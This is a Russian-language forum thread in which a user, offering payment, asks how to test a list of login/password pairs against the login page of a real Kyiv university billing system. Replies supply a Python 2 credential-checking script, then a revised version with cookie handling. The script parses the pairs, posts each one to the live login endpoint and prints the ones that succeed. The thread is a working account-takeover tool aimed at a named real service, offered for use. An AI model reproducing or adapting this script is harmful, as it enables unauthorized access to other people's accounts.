Всем привет, дорогие форумчане и кодеры. Никогда не обращался в этот раздел, но тут жизнь заставила, и мне нужна Ваша помощь. В общем, мне кажется, ничего сложного в этом нету, но я не разбираюсь, поэтому пишу сюда. Суть задачи в том, что: есть хтмл файл: bla.html в котором инфа идет вида: HTML: <br><input value='2220000300001'><input value='asdf'><br><input value='2220000400008'><input value='alexpavel'><br> и есть второй bla2.html в котором: HTML: <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> <input type="hidden" name="login" value="xxxxx"> <input type="hidden" name="password" value="xxxxx2"> <input type="submit" value="xxxxx"> </form> <br><br> <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> <input type="hidden" name="login" value="xxxxx"> <input type="hidden" name="password" value="xxxxx2"> <input type="submit" value="xxxxx"> </form> <br><br> 222хххххххх это пароли, asdf у нас логин (и alexpavel соответсвенно). Так вот, нужно из файла bla.html вытащить все пароли(222ххххххххх) и вставить их в форму автовходав файле bla2.html на место ххххх2, а логины в поле ххххх. Тоесть чтобы создало файл вида: HTML: <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> <input type="hidden" name="login" value="asdf"> <input type="hidden" name="password" value="2220000300001"> <input type="submit" value="xxxxx"> </form> <br><br> <form action="https://bill.univ.kiev.ua/index.php?act_id=access" method="POST"> <input type="hidden" name="login" value="alexpavel"> <input type="hidden" name="password" value="2220000400008"> <input type="submit" value="xxxxx"> </form> <br><br> с готовыми паролями и логинами, чтоб можно было только нажимать на кнопки и проверять подходит пароль или нет. как это сделать? Возможна материальная благодарность за помощь.
там ни одного акка рабочего, так и не смог проверить Code: #!/usr/bin/python from re import findall import urllib2, urllib headers = { 'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6', 'Referer' : 'https://user.bill.univ.kiev.ua/', 'Connection' : 'keep-alive', } f = open('bla.html', 'r').read() acc = findall(r'value=\'(.*?)\'.*?value=\'(.*?)\'><br>', f) for i in range(len(acc)): values = {'login' : acc[i][1], 'password' : acc[i][0]} data = urllib.urlencode(values) req = urllib2.Request('https://bill.univ.kiev.ua/index.php?act_id=access', data, headers) response = urllib2.urlopen(req) lol = response.read() if lol.find('act_id=lost_password') == -1: print acc[i][1] + ':' + acc[i][0] простой скрипт, для работы нужен python 2. bla.html замени только на путь до файла на пк
исправил проблемы, теперь все ок Code: #!/usr/bin/python from re import findall import urllib2, urllib, cookielib cookie = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) urllib2.install_opener(opener) headers = { 'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6', 'Referer' : 'https://user.bill.univ.kiev.ua/', 'Connection' : 'keep-alive', } f = open('accs.txt', 'r').read() acc = findall(r'value=\'(.*?)\'.*?value=\'(.*?)\'><br>', f) for i in range(len(acc)): values = {'login' : acc[i][1], 'password' : acc[i][0]} data = urllib.urlencode(values) req = urllib2.Request('https://bill.univ.kiev.ua/index.php?act_id=access', data, headers) response = urllib2.urlopen(req) lol = response.read() if lol.find(acc[i][1]) != -1: print acc[i][1] + ':' + acc[i][0]